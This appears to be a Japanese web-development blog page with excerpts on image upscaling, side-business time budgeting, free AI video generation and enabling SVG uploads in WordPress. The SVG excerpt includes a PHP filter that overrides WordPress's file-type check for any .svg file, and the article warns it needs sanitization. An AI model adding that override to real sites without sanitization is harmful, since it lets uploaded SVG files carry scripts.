では高画質化ツールは何をしているのかというと、大きく2つの考え方があります。1つは、「元の画像に矛盾しない範囲で、輪郭をできるだけ急に戻す」という数値計算のアプローチで、これが標準モードです。もう1つは、「大量の写真を学習したモデルに、写真らしい細部を描かせる」アプローチで、これがAI超解像モードです。どちらも情報を無から作ることはできませんが、埋め方の賢さで見た目は大きく変わります。 標準モードが1秒でやっていること 標準モードは、4つの処理を順に掛けています。数式は使わずに、それぞれが何をしているかだけ説明します。 順番処理やっていること1拡大（Lanczos3）周囲6画素の重み付き平均で新しい画素を作る。ブラウザ標準より輪郭を保ちやすい補間方式2細部の復元（反復逆投影）拡大結果をいったん元のサイズに縮小し直し、元画像とのズレを拡大側へ戻して修正する。これを5回繰り返す3ボケ補正（デコンボリューション）元画像が「ある強さでボケている」と仮定し、そのボケを逆算して戻す。明るさの成分だけに掛けるため色ズレが出ない4仕上げシャープ（アンシャープマスク）最後に輪郭のコントラストを少し上げる。しきい値未満の小さな差はノイズとみなして触らない この中で要になるのが2番目の反復逆投影です。考え方は「正しく拡大できているなら、それを元のサイズに戻したときに元画像と一致するはずだ」という制約を使うことです。拡大結果を縮小して元画像と比べ、ズレがあればそのズレを拡大側に足し込む。これを繰り返すと、元画像の画素値そのものを手がかりにして輪郭が締まっていきます。単に輪郭を強調するシャープ処理と違い、元画像に矛盾しない方向へしか動かないのが特長です。 3番目のボケ補正だけは、初期値がオフになっています。ピントが合っている写真に掛けると逆効果になるためで、詳しくは後の章で説明します。ボケ補正がオフのとき、標準モードの所要時間は1メガピクセルあたり0.2秒程度です。1,000×1,000pxの画像を2倍にする（出力4メガピクセル）なら1秒前後で終わります。 なお、計算はすべてsRGBの値のまま行っています。画像処理の定石では「リサンプリングはリニア光で行う」とされますが、このツールの製作時に実写真の原本と突き合わせて測ったところ、リニア変換を挟むほうが一貫して原本から遠ざかりました。元画像の縮小自体がsRGB空間で行われているのが通例で、そちらに合わせたほうが原本に近づくためです。 AI超解像モードの仕組み AI超解像モードは、超解像モデルSwin2SR（Apache-2.0ライセンス）をブラウザ内で実行します。Swin2SRは、Transformerという構造を画像の復元に応用したモデルで、圧縮された画像の超解像を目的として2022年に発表されました（Conde ほか「Swin2SR: SwinV2 Transformer for Compressed Image Super-Resolution and Restoration」arXiv 2022）。実行にはHugging FaceのTransformers.jsを使い、ライブラリとモデルはCDNから取得します。 倍率が2倍と4倍に限られるのは、モデルが倍率ごとに別物だからです。2倍には軽量版（約7.7MB）、4倍には実写真の劣化を想定して学習された版（約50MB）を使い分けています。4倍向けにモデルを選ぶ際も原本との一致度で比較し、無圧縮のPNGなら別のモデルが最良でしたが、実際に扱う写真の大半はJPEGなので、JPEG入力でブラウザ標準を上回った唯一のモデルを採用しています。 処理は次の流れで進みます。 初回だけモデルをダウンロードする（以降はブラウザのキャッシュから読み込むため再取得しない） 画像を256px四方のタイルに分割し、境界に16pxの余白を付けて1枚ずつモデルに渡す（余白がないとタイルのつなぎ目に段差が出る） タイルごとの結果を余白を除いて貼り合わせ、1枚の画像に戻す 計算にはWebGPUを使います。WebGPUはブラウザからGPUを直接使うためのAPIで（MDN Web Docs「WebGPU API」）、これが無い環境ではCPU実行になり実用的な速度が出ないため、AIモードのボタン自体が無効になります。所要時間は入力の画素数でほぼ決まり、目安として入力1メガピクセルあたり2倍で約24秒、4倍で約90秒です。サンプル画像程度（480×320px）なら2倍で数秒、4倍で十数秒で終わります。 覚えておきたいのは、AIモードが描く細部は「学習した写真の傾向から見て、それらしい」細部だということです。元の写真にはなかった模様や質感が生成されることがあります。見栄えが目的なら問題になりませんが、証拠写真や計測画像のように「写っていたものが正確に写っている」ことが求められる用途では、標準モードを使ってください。 標準モードとAI超解像モード、どちらを選ぶか 結論から言うと、迷ったら標準モード、ピントの合った写真を4倍にするならAI超解像モードです。 標準モードAI超解像モード仕組み数値計算による拡大と補正学習モデルをブラウザ内で実行倍率1.5 / 2 / 3 / 4倍2 / 4倍時間1秒前後数秒〜数十秒＋初回のモデル取得向く写真ボケた写真（ボケ補正が使える）、大きい画像、急ぎのときピントの合った写真の細部復元、とくに4倍必要な環境どのブラウザでもWebGPU対応ブラウザ正確さ元画像に矛盾しない方向へしか動かないそれらしい細部を描くことがある この使い分けは感覚ではなく、ツール製作時の計測にもとづいています。1,600pxの写真を縮小してJPEG（品質88）で保存し、それを拡大して元の写真とどれだけ一致するかを、PSNRとSSIMという2つの指標で測りました。 ### [副業Web制作の現実｜週何時間なら案件を受けられるか](https://codequest.work/side-business-web-hours/) 副業とは、本業より使える時間が少ない前提で成果を出す働き方です。時間が少ないから副業なのであって、仕事の中身が簡単になるわけではありません。同じ品質を求められたまま、使える時間だけが削られた状態で受け取るのが副業の案件です。 副業を勧める情報の多くは、稼げる金額から逆算して書かれています。ところが実際に最初に足りなくなるのは金額ではなく時間です。パーソル総合研究所の調査によると、副業をしている人が実際に副業へ充てられている時間は1カ月あたり平均23.0時間でした。1週間に直せば5時間ほどです。この時間で何ができるかを決めないまま案件を受けると、納期か品質か睡眠のどれかが必ず崩れます。 この記事では、保険代理店を経営しながらWeb制作を学んでいた当時の記録をもとに、週の可処分時間の測り方と、その時間で受けていい案件・受けてはいけない案件の判定ラインを整理します。本業9時間のあとに最低4時間の学習を6カ月続け、その4時間がそのまま制作実務の時間に変わっていった過程で分かったことです。 副業が難しいのは、能力ではなく使える時間が先に決まっているから 副業の難しさは、スキルの高さや根性の問題ではありません。1日は24時間しかなく、本業と移動と生活を引いた残りが可処分時間として先に決まっています。ここを増やす方法は基本的に存在せず、増やそうとすると睡眠を削ることになります。 実勢の数字を見ておきます。パーソル総合研究所の「第四回 副業の実態・意識に関する定量調査」では、「１カ月当たりの副業活動時間は平均23.0時間」と報告されています。同じ調査で正社員の副業実施率は11.0%でした（パーソル総合研究所 2025年10月28日発表・2025年8月調査）。 期間副業に充てられている時間（平均）1カ月23.0時間1週間に換算約5.3時間1日に換算約46分 1日46分です。この数字は、副業をやめた人ではなく、いま副業を続けている人たちの平均値だという点が重要です。うまくいっている人でも、確保できているのはこの程度だということになります。 同じ調査には、負荷の側面も出ています。副業活動時間と本業の残業時間を通算した合計が45時間以上になる人の割合が3割を超えていました。副業は空き時間を埋める活動ではなく、労働時間そのものを積み増す活動だという実態がここに表れています。 この時間の管理は、勤め先ではなく本人の仕事とされています。厚生労働省の「副業・兼業の促進に関するガイドライン」は、労働者側の留意点として「就業時間が長くなる可能性があるため、労働者自身による就業時間や健康の管理も一定程度必要である」と明記しています（厚生労働省・平成30年1月策定／令和4年7月改定）。誰も管理してくれない時間を自分で配るのが、副業の実務の入口です。 本業9時間＋最低4時間の学習を6カ月続けた ここからは実際の記録です。当時は保険代理店を経営していて、Web制作はプログラミングスクールの受講生として学んでいました。本業で9時間働き、そのあとに最低4時間を学習に充てる生活を6カ月続けました。 用途1日の時間本業（保険代理店の経営）9時間学習最低4時間睡眠・食事・移動・その他すべて残り11時間 経営者だから時間の融通が利いたのではないか、と思われるかもしれません。実際は逆でした。自分の事業は終業時刻を誰も決めてくれないため、放っておけば作業は伸び続けます。9時間で切り上げること自体を自分で決めなければ、学習の4時間は永遠に始まりません。 この4時間は、余った時間ではありません。余りを待つ形にすると、確保できる時間は限りなく0に近づきます。先に4時間を取り、残りの11時間で生活のほうを回していました。順序が逆になった時点で、副業の学習は続かなくなります。 6カ月で積み上がった学習時間は、単純計算で720時間を超えます。これを先ほどの統計と並べると、副業に充てられる時間の平均である月23.0時間のペースでは、同じ720時間に到達するまで31カ月かかる計算になります。 進め方1カ月あたり720時間に到達するまで1日4時間を確保した場合約120時間6カ月副業実施者の平均ペース23.0時間約31カ月 同じ量を学ぶのに、半年で済むか2年半以上かかるかが分かれます。副業が簡単ではないという話の実体はここにあります。難しいのは内容ではなく、到達までの時間が本業の何倍にも伸びるという構造のほうです。 学習の4時間は、そのまま制作実務の4時間になった 6カ月のあと、この4時間の使い道が学習から制作実務へ移っていきました。注目したいのは、時間そのものは増えていないという点です。枠は4時間のまま変わらず、中に入る作業だけが入れ替わりました。 ここから導ける原則があります。副業に使える時間の総量は最初に決まっていて、あとから増えるのは中身の価値だけだということです。学習が実務に変わっても1日は24時間のままで、本業も9時間のままでした。増やせたのは、同じ4時間から生まれる成果のほうです。 この順序を逆にすると破綻します。「案件が取れたら時間を作る」という進め方は、案件を受けた時点で存在しない時間を前提にしているからです。枠を先に確保して習慣にしておいた人だけが、案件が来たときにその枠を実務へ差し替えられます。 なお、副業を将来の移行の準備として位置づけること自体は、国の資料でも想定されています。厚生労働省のガイドラインは労働者側のメリットとして「本業を続けつつ、よりリスクの小さい形で将来の起業・転職に向けた準備・試行ができる」と記載しています。ただしこれは全員が移行するという意味ではありません。移行を目的にしなくても、同じ枠の確保は必要になります。 副業から本業に変わっても、学習2時間は削らなかった 現在は保険代理店を売却し、Web制作が本業になっています。立場が変わったのに変えなかったものが1つあります。学習時間です。いまも最低2時間は学習に充てる枠として確保しています。 理由は単純で、学習時間を削るとスキルが停滞するからです。目の前の納品作業だけを続けていると、手持ちのやり方で処理できる案件しか受けられなくなります。処理は速くなりますが、扱える範囲は広がりません。 つまり学習枠は、副業のあいだだけ耐える我慢ではなく、外せない設備です。副業期に4時間だったものが本業期に2時間へ変わっただけで、ゼロになった時期はありません。 忙しさは例外の理由になりません。本業の作業に14時間かかった日でも、学習2時間は別に確保します。案件が立て込んだからその日は学習を飛ばす、という運用にはしていないということです。 ここから、この記事で使う判定ラインが決まります。学習枠は案件量によって増減しない固定費であり、調整弁ではないということです。仕事が増えたときに真っ先に削られるのが学習枠ですが、そこを削ると停滞が始まります。削って捻出するのではなく、最初から無いものとして扱います。 実務上は1行に落ちます。見積もりも受注判断も、学習枠を引いた残りの時間だけで行う。以降はこの残りを実務枠と呼びます。 まず自分の可処分時間を1週間測る 案件を受けられるかどうかは、感覚では判断できません。先に自分の可処分時間を実測します。手順は4つです。 1週間、起きてから寝るまでを30分単位で記録する。本業・移動・食事・家事・睡眠・その他、の6分類で十分です。 「その他」に入った時間を日ごとに合計する。これが可処分時間の上限です。 7日分のうちもっとも少ない日の値を取り出す。平均ではなく最小値を使います。 その最小値を7倍したものを、1週間あたりの可処分時間として扱う。 平均ではなく最小値を使うのは、副業が継続を前提とした活動だからです。週末にまとめて取る計画は、その週末が1回つぶれただけで復旧できません。毎日確実に確保できる量だけを計算に入れておけば、崩れたときの遅れが1日分で済みます。 記録して管理するという進め方は、厚生労働省のガイドラインでも労働者本人の役割として示されています。「自ら各事業場の業務の量やその進捗状況、それに費やす時間や健康状態を管理する必要がある」とあり、さらに「始業・終業時刻、休憩時間、勤務時間、健康診断等の記録をつけていくような民間等のツールを活用して、自己の就業時間や健康の管理に努める」ことが挙げられています。感覚で見積もらず記録を取るのは、健康管理の面でも前提になっている行為です。 ここが最初の検証ポイントです。測る前に自分で見積もった時間と、実測した時間を並べてください。多くの場合、実測は見積もりを下回ります。この差が、そのまま納期遅れの原因になります。差が2時間以上あった人は、以降の計算をすべて実測値で組み直してください。 週の可処分時間別｜受けられる案件・受けられない案件 実測した可処分時間を、次のルールで2つに割ります。先に学習枠を固定費として引き、残りを実務枠にするという順序です。案件の量で調整するのは、常に実務枠のほうです。 週の可処分時間時間の配分受けられる案件この行の出所5時間前後全部を学習に充てる受注しない段階。まず手を動かす量を確保する統計（副業実施者の平均・月23.0時間の換算）10時間学習7時間＋実務3時間既存サイトの更新、文言・画像の差し替えなど、締切を自分で動かせる小さな作業配分ルールからの目安20時間学習10時間＋実務10時間小規模なページ制作を1本まで。並行して2本は受けない配分ルールからの目安28時間以上学習に全振りできる案件を受けずに学習へ充て切ると、到達までの期間が最短になる実測（本業9時間＋学習4時間×6カ月） 出所を分けて書いたのには理由があります。実測は1点（この記事の運営者の記録）、統計も1点（パーソル総合研究所の調査）で、中間の2行は配分ルールを機械的に当てはめた目安です。実測データとして扱わないでください。自分の記録が溜まったら、その値で置き換えるのが正しい使い方です。 表の1行目に驚いた人もいるかもしれません。副業実施者の平均である週5時間前後は、案件を受ける段階ではなく、まだ学習に充てる段階だという判断になります。この段階で無理に受注すると、実務枠が足りず、固定費であるはずの学習枠を取り崩すことになります。 合否ラインは、実務枠に収まるかどうか 案件を受けるかどうかは、金額でも面白さでもなく、実務枠に収まるかで判断します。次の4つに当てはまる案件は、そもそも必要な時間を見積もれないため、実務枠に収まるかどうかを判定できません。 締切を自分で動かせない。相手の都合で前倒しが起きる案件は、可処分時間を超えた瞬間に逃げ場がありません。 初めて使う技術が必須になっている。学習しながらの制作は、必要な時間を事前に見積もれません。 打ち合わせが本業の時間帯に固定される。作業時間ではなく本業のほうが削られ、結果的に生活全体が崩れます。 修正回数が決まっていない。上限のない修正は、可処分時間の計算そのものを無効にします。 受注前の検証はこれだけです。「この案件は実務枠を何時間使うか」を数字で書き出してください。書き出せないなら、その案件は見積もれていないということなので受けません。書き出せた場合は、納期までの実務枠の合計に収まるかを確認します。 収まらなかったときの次の一手は2つです。納期を延ばす交渉をするか、断るかです。多くの場合、納期の交渉は受注前なら通ります。通らない相手であれば、着手後の変更はもっと通りません。ここは断ったほうが結果的に安く済みます。 着手後の検証も1つだけ用意しておきます。受注から1週間後に、学習枠が実際に残っているかを記録で確認してください。学習に充てた時間がゼロの日が出ていたら、見積もりが実務枠を超えていた証拠です。そのとき削るのは学習枠ではありません。案件の量か納期のほうを調整します。 納期は「日数」ではなく「使える総時間」で見積もる 副業で納期を落とす原因のほとんどは、日数で考えていることです。 ### [生成AIで写真から動画を作る｜無料枠で3本作って本番サイトに載せた](https://codequest.work/genai-photo-to-video-free-tier/) 生成AIの無料枠を使えば、手持ちの写真から数秒の動画を作ってWebサイトやSNSに載せられます。ただし「無料枠で何本作れるか」は、公表されているクレジット数からは計算できません。実際に手元に残る本数を決めるのは付与量ではなく、1本を仕上げるまでに何回作り直すかだからです。 無料枠を比較した記事の多くは、各社が公表している付与クレジット数を並べて終わっています。しかしそこには、生成したうちの何本が実際に使い物になったのかが書かれていません。クレジットが多いプランほど得に見えて、出力が使えなければ手元には何も残らないのです。 この記事では、2026年1月にAdobe Firefly経由でVeo 3.1を使い、人物写真から8秒の動画を作って自社サイトへ実際に投入した記録を扱います。生成された動画の中身を計測した値、生成物からモデルを特定する方法、無料枠で作ったものを商用利用できるのかという条件までを、2026年8月時点の各社の公式ドキュメントと突き合わせて整理しました。 無料枠の実力は、付与クレジット数ではなく歩留まりで決まる 結論から書きます。写真から動画を作る用途で無料枠を試すなら、生成できる回数の多さではなく、1回目で使える出力が出る確率を見るべきです。同じ「3回分」の無料枠でも、手元に残る成果物の数は3倍変わりました。 使ったもの生成した回数採用した本数採用しなかった理由Adobe Firefly経由のVeo 3.13回3本作り直しはほぼ発生せずSora3回程度1本出力が粗く、そのまま使えなかった 付与量だけを見れば、どちらも「数回試せる無料枠」で違いはありません。ところが実際に公開できる品質に達したのは、片方が3本、もう片方が1本でした。無料枠の価値は、付与されるクレジット数と歩留まりの掛け算で決まります。 ここで重要なのは、歩留まりは公式には一切公表されていないという点です。各社が出しているのはクレジット数と1回あたりの消費量までで、そのうち何本が使えるかは実際に試した人しか知りません。だからこそ、無料枠は「多く試せるところ」ではなく「一発で決まるところ」を選ぶ価値があります。 作った動画は、いまも本番サイトで動いている この記事で扱う3本は、試作で終わったものではありません。制作チームRINIAのコーポレートサイトで、メンバー紹介セクションの素材として使っています。一覧に並んだ静止画にマウスを重ねると、その場で動画へ切り替わる作りです。 元になっているのは、それぞれのメンバーを撮った写真1枚だけです。プロンプトから世界観を丸ごと作り出すのではなく、すでにある写真に動きを付ける使い方をしています。動画素材をゼロから作ろうとすると破綻しやすい一方、手元の写真を動かす用途なら、無料枠でも実用に耐える結果が出ました。 実物を見られる形で公開しているので、この記事に書いた品質の判断は読者が自分の目で確かめられます。以降で扱う計測値は、すべてこの3本のファイルから取ったものです。 生成された動画の中身を実際に計測する 生成AIのサービス画面には、出力の詳細な仕様が表示されないことがあります。手元に落としたファイルを直接調べれば、解像度もフレームレートも音声の有無も確定できます。 ffprobe -v error -show_entries format=duration,size:stream=codec_name,width,height,r_frame_rate -of default=noprint_wrappers=1 video.mp4 3本を調べたところ、仕様は完全に揃っていました。 項目実測値（3本とも共通）解像度1280×720再生時間8.000秒フレームレート24fps映像コーデックH.264音声AAC 48kHz ステレオ 256kbps（実際に音が入っている） 注目したいのは、無音のダミーではなく実際に音が入っていた点です。Webサイトのホバー演出では音を鳴らせないため、この音声トラックは最初から使い道がありません。それでもファイルには含まれた状態で出力されます。 ファイルサイズは3本で揃いませんでした。同じ解像度・同じ尺でも、動きの量が多いほど大きくなります。人物が歩く映像がもっとも重く、静かな映像との差は2倍以上でした。 映像の内容ファイルサイズ人物が歩く（動きが大きい）4.82MB人物が振り返る（動きは中程度）3.03MB人物の表情が動く（動きが小さい）1.71MB合計9.56MB 8秒の動画3本で合計9.56MBは、ページに置く素材としては軽い数字ではありません。この扱いについては後半の実装の章で触れます。 無料枠の制限は「解像度が低い」だけではない 無料枠は画質が落とされている、と一括りに語られがちですが、公式ドキュメントを読み比べると制限のかけ方はサービスごとに違います。解像度で絞るところ、透かしを入れるところ、順番待ちで差をつけるところ、後から高解像度に上げる機能だけを有料にするところがあります。 サービス無料枠での扱い制限のかけ方出典Pika480pのみ（有料は上位解像度も選べる）解像度Pika 公式料金ページLuma Dream Machineドラフト解像度に限定解像度Luma 公式FAQRunway生成は720p。有料と同じ透かし・生成量Runway 公式ヘルプGoogle Flow（Veo）生成は可能。1080pへの引き上げが有料限定アップスケール可否Google 公式ヘルプ Runwayが分かりやすい例です。無料でも生成解像度は有料と変わりません。無料と有料を分けているのは透かしと生成できる量であって、画質ではないのです。「無料だから粗い」と決めつけると、選択肢を無駄に狭めることになります。 逆にLumaはもっとも制限が強く、無料プランはドラフト解像度でしか生成できないと明記されています。同じ「無料で動画が作れる」でも、持ち帰れるものの質はここまで開きます。生成AI全般の現在地は主要生成AIの比較ガイドで整理しているので、サービス選びの前提として合わせて確認してください。 「Fireflyで作った」が指しているものを確かめる 今回の3本は、Adobe Fireflyの画面で作りました。ところが計測した尺は8.000秒です。Adobeの公式ヘルプによれば、Adobe自社のFirefly Video Modelが生成する動画は24fps・5秒が既定の設定だと説明されています。数字が合いません。 現在のFireflyは、Adobe自社モデルだけを動かす場所ではなくなっています。他社が提供するモデルを同じ画面から呼び出せる作業環境になったため、「Fireflyで作った」という言い方だけでは、どのモデルが生成したのかは決まりません。 生成物そのものにモデル名が記録されている Fireflyで生成したファイルには、コンテンツ認証情報（Content Credentials）が埋め込まれます。ここに生成に使われたモデルの情報が入るため、記憶に頼らず確認できます。 strings -a video.mp4 | grep -i "com.adobe.model" 3本すべてから同じ値が出てきました。 記録されていた項目値意味com.adobe.modelIdveo生成に使われたモデルcom.adobe.modelVersion3.1-generateモデルのバージョンcom.adobe.typeremoteProvider.3rdPartyAdobe以外が提供するモデルcom.adobe.digitalSourceTypetrainedAlgorithmicMediaAIが生成した素材である表示 Fireflyの画面で作った動画の中身は、GoogleのVeo 3.1でした。8秒という尺も、音声が入っていたことも、Adobe自社モデルではなくVeoの仕様だと考えれば筋が通ります。作った本人の記憶ではなく、ファイル自身が生成元を記録していたわけです。 無料枠で作ったものを、そのまま仕事で使ってよいか どのモデルが生成したかを確認する意味は、ここにあります。商用利用が認められる範囲は、使ったサービスではなくモデルの提供元によって変わるからです。 Adobeは、パートナーモデルについて「Partner models are not developed by Adobe. You are responsible for determining whether a model is appropriate for your project.」と明記しています（Adobe 公式ヘルプ・2026年8月3日更新）。自社モデルで生成したものは商用利用に適しているとする一方、他社モデルの出力が用途に合うかどうかは利用者の判断に委ねる、という立て付けです。 つまり同じFireflyの画面から出力しても、Adobeの説明が及ぶものと及ばないものに分かれます。クライアントの案件で使うのであれば、どちらだったのかを説明できる状態にしておく必要があります。 サービスごとに条件は大きく違う もっとも明快なのはRunwayです。公式ヘルプに「As a user on any of our plans (Free, Standard, Pro, Max, or Unlimited)... you retain ownership and all your rights to content that you upload and generate on Runway.」とあり、無料プランを含めて生成物の権利は利用者に残ると書かれています（Runway 公式ヘルプ Usage rights）。商用利用についての説明でも、広告を含む用途に制限を設けないとしています。 一方、Luma Dream Machineは有料プランの機能一覧に商用利用が挙げられています（Luma 公式ページ）。無料で試したものをそのまま仕事に流用してよいとは書かれていないため、業務で使うなら契約プランの確認が要ります。 提供元無料枠で作ったものの扱いRunway全プランで権利は利用者に残ると明記。商用利用の制限なしAdobe（自社のFireflyモデル）商用利用に適しているとしているAdobe（パートナーモデル）用途に合うかは利用者が判断する、としているLuma Dream Machine商用利用は有料プランの機能として案内されている いずれの条件も予告なく変わります。ここに挙げたのは2026年8月に各社の公式ページで確認した内容なので、実務で使う前には必ず提供元の最新の記載を見てください。 試したサービスが、翌年には消えていることがある 今回の比較対象だったSoraは、すでに使えません。OpenAIの公式ヘルプには「The Sora web and app experiences were discontinued on April 26, 2026.」とあり、Webとアプリの提供は2026年4月26日に終了しています。APIについても2026年9月24日に終了予定と案内されています（OpenAI 公式ヘルプ）。 2026年1月に比較したときには当たり前に選択肢へ入っていたものが、半年余りで選べなくなったわけです。この分野で怖いのは価格の変動よりも、制作の手順そのものが再現できなくなることです。 そのため、生成物を扱うときは次の3点を残しておくと後で困りません。 生成した動画ファイルそのもの。サービスが終了すると、履歴からの再ダウンロードもできなくなります。 使ったプロンプトと元画像。別のサービスへ移るとき、同じ入力から作り直せます。 コンテンツ認証情報が入ったままの原本。編集や再エンコードで消えることがあるため、加工前のファイルを別に保管します。 この移り変わりの速さは動画に限りません。 ### [WordPressでSVGをアップロードする方法｜プラグインとコードの両方](https://codequest.work/wordpress-svg-upload/) WordPressは標準の状態ではSVGファイルをアップロードできません。使えるようにするには、サニタイズ機能を持つプラグインを入れるか、テーマやプラグイン側で許可するファイル形式にSVGを追加するかの二択です。どちらを選んでも、許可することとファイルを安全にすることは別の作業だという点は変わりません。 ロゴやアイコンをSVGで納品されたのに、メディアライブラリへドラッグしたら「セキュリティ上の理由から、このファイルタイプは許可されていません。」と弾かれた——という場面は、WordPressを触っていれば一度は通ります。検索すると「1行足せば使える」という記事と「SVGは危険だからやめろ」という記事が同時に出てきて、どちらを信じればいいのか判断できないのがこのテーマの厄介なところです。 この記事では、プラグインで許可する方法とコードで許可する方法の両方を手順つきで解説します。あわせて、コードを足したのにアップロードできないときに何が起きているのかをWordPressコアの実装まで踏み込んで説明し、許可したあとに必要になるサニタイズと権限の考え方までまとめました。 WordPressでSVGが使えない理由 WordPressはアップロードを許可するファイル形式をあらかじめ決めており、SVGはそこに入っていません。バグでも設定漏れでもなく、意図してそうなっています。 理由は、SVGが画像に見えて実体はテキストファイルであることにあります。JPEGやPNGが色の並びを記録したバイナリなのに対し、SVGはHTMLによく似たXMLで書かれた「図形の指示書」です。だからこそ拡大しても劣化せず、テキストエディタで中身を書き換えられるのですが、同じ性質のせいで次のようなものも書き込めてしまいます。 script要素に書いたJavaScript onloadやonclickのようなイベント属性 外部のファイルを読みに行く参照や、別ページへの遷移を起こす記述 投稿できる人なら誰でもSVGを置ける状態は、誰でも任意のスクリプトを設置できる状態と紙一重です。WordPressが既定で許可していないのは、この距離の近さを避けるためです。逆に言えば、この距離さえきちんと詰めれば使ってよい形式であり、実際に多くのサイトが使っています。 なお、SVGファイルが単体で開かれたときと、img要素の中で画像として表示されたときでは危険度が違います。画像として読み込まれたSVGはブラウザ側でスクリプトが無効化されるためです。問題になるのは、アップロードされたファイルのURLを直接開いた場合や、テーマがSVGの中身をページに直接書き出している場合です。 3つの選択肢と選び方 取れる道は3つです。先に結論を書くと、迷ったらプラグインを選んでください。コードで許可する方法は行数こそ少ないものの、サニタイズが付いてこないぶん、あとから足すものが多くなります。 方法サニタイズ権限の制御向いている状況プラグインを入れる付いてくるプラグイン側で設定できる複数人が投稿する／自分でコードを保守したくないコードで許可する付いてこない（自分で用意する）自分で書く管理者ひとりで運用／プラグインを増やしたくないPNGで代替する不要不要設定を変えられない／SVGでなければならない理由がない 3つ目を軽く見ないでください。SVGが必要なのは「拡大しても劣化させたくない」「ファイルを軽くしたい」「あとから色を変えたい」のいずれかに当てはまるときです。そのどれでもないなら、PNGで用が足ります。共有サーバーで複数人が投稿するサイトなら、無理に解禁しないという判断は十分に現実的です。 プラグインで許可する 定番は2つです。どちらも公式ディレクトリで有効インストール数100万以上、アップロード時のサニタイズと権限の制御を備えています。 Safe SVGSVG Support開発元10upBenbodhiバージョン2.4.02.6.1設定項目ほぼ無し（入れれば効く）多め（権限・インライン化など）特徴アップロード時に自動でサニタイズSVGをHTMLへ直接展開してCSSで操作できる向いている人設定を増やさず安全側に倒したいSVGの色をCSSで変えたい Safe SVGはWordPress関連の開発会社10upが公開しており、サニタイズにはsvg-sanitizerという専用ライブラリを使っています（出典: WordPress.org プラグインディレクトリ Safe SVG）。設定画面をほとんど持たないのが特徴で、有効化した時点で「許可」と「無害化」の両方が済みます。 SVG Supportは設定項目が多く、役割ごとのアクセス制御に加えて、SVGをHTMLに直接展開する「インライン化」に対応しています（出典: WordPress.org プラグインディレクトリ SVG Support）。インライン化すると外側のCSSがSVGの中身に届くようになるため、1枚のファイルを配色違いで使い回せます。 導入の手順 管理画面の「プラグイン」→「新規プラグインを追加」で、プラグイン名を検索する インストールして有効化する アップロードを許す権限の設定があれば、必要な範囲まで絞る メディアライブラリにSVGをドラッグして、通ることを確認する プラグインを2つとも入れる必要はありません。同じ役割のものを重ねると、どちらの設定が効いているのか分からなくなります。どちらか片方だけにしてください。 コードで許可する アップロードを許可するファイル形式はupload_mimesフィルターで足せます。WordPress 2.0から用意されている標準の仕組みです。 add_filter( 'upload_mimes', function ( $mimes ) { $mimes['svg'] = 'image/svg+xml'; return $mimes; } ); これだけで、拡張子.svgのファイルが許可リストに入ります。ただしこの3行は全員に許可を出す書き方です。投稿者や寄稿者がいるサイトでは、権限で絞ってください。 add_filter( 'upload_mimes', function ( $mimes ) { // 管理者以外には許可を出さない if ( ! current_user_can( 'manage_options' ) ) { return $mimes; } $mimes['svg'] = 'image/svg+xml'; return $mimes; } ); どこに書くか 置き場所は2つあります。子テーマのfunctions.phpか、サイト固有の小さなプラグインを作ってそこに書くかです。テーマを乗り換える可能性があるならプラグイン側が安全です。テーマに書いた場合、テーマを変えた瞬間にSVGがアップロードできなくなり、原因を思い出すまでに時間を取られます。 親テーマのfunctions.phpを直接編集するのは避けてください。テーマの更新で上書きされて消えます。functions.phpに処理を足していく進め方に慣れていない場合は、WordPressカスタマイズ入門｜functions.php便利コード集で全体像を掴んでおくと迷いません。 追加したのにアップロードできないとき upload_mimesに足したのに、まだ「許可されていません」と言われる——このテーマで最も混乱する場面です。原因は、WordPressが許可リストを見る前に、もう一段の検査をしていることにあります。 WordPressコアのwp_check_filetype_and_ext()は、ファイル名の拡張子から決まるMIMEタイプと、サーバーが中身を読んで判定した実際のMIMEタイプを突き合わせます。そして画像系の形式については、この2つが完全に一致しない場合は危険とみなして拒否します（WordPress 7.0系のコアコードで確認）。拡張子を.svgに変えただけの別形式のファイルを弾くための仕組みです。 ここで問題になるのが、中身からMIMEタイプを判定する処理がサーバーの環境に依存することです。PHPのfileinfo拡張が使う判定データベースの版によって、同じSVGでもimage/svg+xmlと返る環境と、image/svgやtext/xmlと返る環境があります。後者だと突き合わせに失敗し、許可リストに入れていても弾かれます。 自分の環境がどう判定するか調べる 推測で対策を足す前に、実際の判定結果を見てください。PHPが動く環境なら次の2行で分かります。 $finfo = finfo_open( FILEINFO_MIME_TYPE ); echo finfo_file( $finfo, '/path/to/icon.svg' ); SSHが使えるなら、コマンド1本でも確認できます。 file --mime-type icon.svg ここでimage/svg+xmlと返るなら、突き合わせは通ります。つまり「upload_mimesに足すだけでは絶対に通らない」というのは正確ではありません。手元の環境（PHP 8.4系）で試したところ、XML宣言の有無にかかわらずimage/svg+xmlと判定され、追加の対策なしで通りました。まず調べる、というのが遠回りに見えて一番早い手順です。 判定が食い違う環境での対処 調べた結果がimage/svg+xml以外だった場合は、突き合わせの結果を上書きするwp_check_filetype_and_extフィルターで対処します。拡張子がSVGのときだけに限定するのが最低条件です。 add_filter( 'wp_check_filetype_and_ext', function ( $data, $file, $filename, $mimes ) { // 拡張子が .svg のときだけ、コアの判定結果を上書きする if ( 'svg' !== strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) ) ) { return $data; } $data['ext'] = 'svg'; $data['type'] = 'image/svg+xml'; return $data; }, 10, 4 ); ただしこれはコアの安全装置を一部外す操作です。この状態は「拡張子が.svgなら中身を問わずSVGとして受け入れる」ことを意味するため、次に説明するサニタイズと必ずセットにしてください。ここまで来ると、素直にプラグインへ寄せたほうが結果的に安全で手間も少なくなります。 許可とサニタイズは別の作業 ここがこのテーマの本丸です。upload_mimesで許可を出しても、アップロードされるファイルの中身は一切検査されません。素通しになるだけです。「1行足せば使える」という説明が危ういのは、この一点が抜けているからです。 サニタイズとは、SVGの中から危険になり得る記述を取り除く処理のことです。プラグインが内部で使っているsvg-sanitizerのようなライブラリは、おおむね次のようなものを削ります。 許可リストにない要素（scriptなど） onで始まるイベント属性 スクリプトを実行し得るリンクや外部参照 コードで許可する道を選ぶ場合は、この処理を自分で用意する必要があります。具体的には、サニタイズ用のライブラリをComposerで導入し、アップロードを横取りするフックでファイルの中身を通してから保存する——という作りになります。これはプラグインが内部でやっていることと同じで、自作するとその分の保守も自分で背負います。 用意しないなら、SVGをアップロードできるのは自分だけという状態を維持するのが最低条件です。自分で作った素材と、信頼できる配布元から入手した素材しか置かない、という運用ルールとセットで考えてください。 ### [動くアイコンを無料でダウンロードできるツール｜アニメSVG・PNG対応](https://codequest.work/animated-icon-generator-tool/) 動くアイコン 